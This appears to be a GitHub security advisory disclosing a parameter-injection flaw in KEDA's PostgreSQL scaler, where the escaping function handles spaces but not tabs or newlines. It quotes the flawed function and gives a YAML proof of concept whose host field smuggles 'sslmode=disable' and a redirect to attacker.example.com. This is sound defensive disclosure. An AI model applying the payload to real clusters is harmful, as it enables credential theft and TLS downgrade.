GHSA-6w3m-4hhp-775q
KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/kedacore/keda/v2 | < 2.20.0 | 2.20.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:
```go
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
```
The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.
### Vulnerable code
`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.
### Impact
Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:
- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.
- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.
Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.
### Proof of concept
```yaml
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
```
After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.
### Suggested fix
- Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash.
- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.
- Validate each field against an allow-list pattern before use.
### Resources
- `pkg/scalers/postgresql_scaler.go`
- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING
References
External links from the advisory. They lead to third-party sites.